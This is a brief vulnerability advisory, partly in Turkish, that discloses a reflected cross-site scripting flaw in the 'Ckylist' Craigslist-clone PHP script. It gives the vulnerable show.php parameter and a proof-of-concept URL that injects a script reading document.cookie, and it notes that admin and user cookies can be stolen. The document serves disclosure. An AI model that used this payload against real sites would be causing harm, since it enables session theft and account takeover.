< ------------------- header data start ------------------- >

#############################################################

# Application Name : Ckylist : Craigs list Clone PHP script

# Vulnerable Type : Cross Site Scripting ( XSS )

# Infection : Yönetici ve User cookie’leri çalinabilir.

# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

# author : Bug Researchers/HayBer

# Example : http://www.ckylist.com/demo/show.php?id=0&r=“><script>alert(document.cookie)</script>

#############################################################

< ------------------- header data end of ------------------- >



< -- bug code start -- >

/show.php?id=0&r=[XSS]

< -- bug code end of -- >